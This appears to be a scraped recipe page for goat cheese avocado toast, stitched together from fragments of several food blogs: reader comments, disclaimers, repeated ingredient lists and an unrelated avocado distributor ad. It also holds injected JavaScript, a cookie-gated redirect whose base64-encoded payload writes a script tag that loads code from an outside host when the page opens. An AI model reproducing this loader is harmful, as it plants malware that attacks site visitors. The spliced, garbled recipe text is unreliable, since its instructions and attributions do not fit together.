Feedly, Welcome to Love & Olive Oil, the culinary adventures of Lindsay and Taylor. :^|; )"+e.replace(/([.$? We're all about food that is approachable but still impressive, unique and creative yet still true to its culinary roots. My favorite restaurant has a goat cheese guacamole that I’m obsessed with, so I’m sure I’ll love this recipe too! Avocado Global Pte Ltd, Singapore owns the ACADO, We are looking for distributors worldwide. Combine with avocados, lemon juice, tabasco, and pepper in a large bowl. Thanks for sharing! This Avocado, Tomato, and Goat Cheese Toast is summer perfection! I created foodiemadesimple.com blog, after encouragement from my friend and web designer Jerald, as a means to document and share all my culinary experiences and recipes with everyone. Gorgeous pics. I love avocado toast, and the addition of goat cheese and black lava salt sounds wonderful! Ingredients: 4 slices crusty bread; 1/2 a ripe avocado; 1/4 cup goat cheese, crumbled; Extra virgin garlic olive oil; Red pepper flakes; Black lava sea salt; Preparation: Toast bread until light golden brown and crispy. Cheers! Perfect way to highlight them. Pinning! Needless to say, I’ll be trying this for breakfast ASAP!! We only ask for your name and e-mail so we can verify you are human and if requested notify you of a reply. Your email address will not be published. We are a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for us to earn fees by linking to Amazon.com and affiliated sites. © 2008 - 2020 Two Peas & Their Pod. Add seasoned lime juice and stir well to coat all seeds. ***************************************************************************, [tasty-recipe id=”11022″] Top with arugula and tomato slices. Tomatoes are SO good right now, I can’t get enough. Before serving, lift cheese out of oil. I was far too generous and it was hot hot hot. Ingredients: 4 slices crusty bread; 1/2 a ripe avocado; 1/4 cup goat cheese, crumbled; Extra virgin garlic olive oil; Red pepper flakes; Black lava sea salt; Preparation: Toast bread until light golden brown and crispy. This post is in partnership with DeLallo, but our opinions are our own. This is an awesome take on the avo toast trend! I have also been jazzing up my avocado toast with arugula, crumbled goat cheese, fresh basil, salt, and pepper. https://www.loveandoliveoil.com/2014/02/goat-cheese-avocado-toast.html It is the perfect finishing touch and makes everything better! I seriously eat avocados every day…well, most days. “I make these toasts, grab some potato chips—my secret love—and fix a yummy drink,” says Susan Feniger, co-chef at Border Grill in Los Angeles. (you can add fresh herbs and spices such as basil, thyme, rosemary, and peppercorns, if you wish, to flavor cheese.) :), I have to try it.. goat cheese and avocado, yummy:). Simply toast baguette slices, top with mashed avocado, a sprinkling of soft crumbled goat cheese, sea salt , chives and red pepper flakes for a little kick, and Voila! Our 22 Best Crock Pot and Slow-Cooker Recipes. *|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('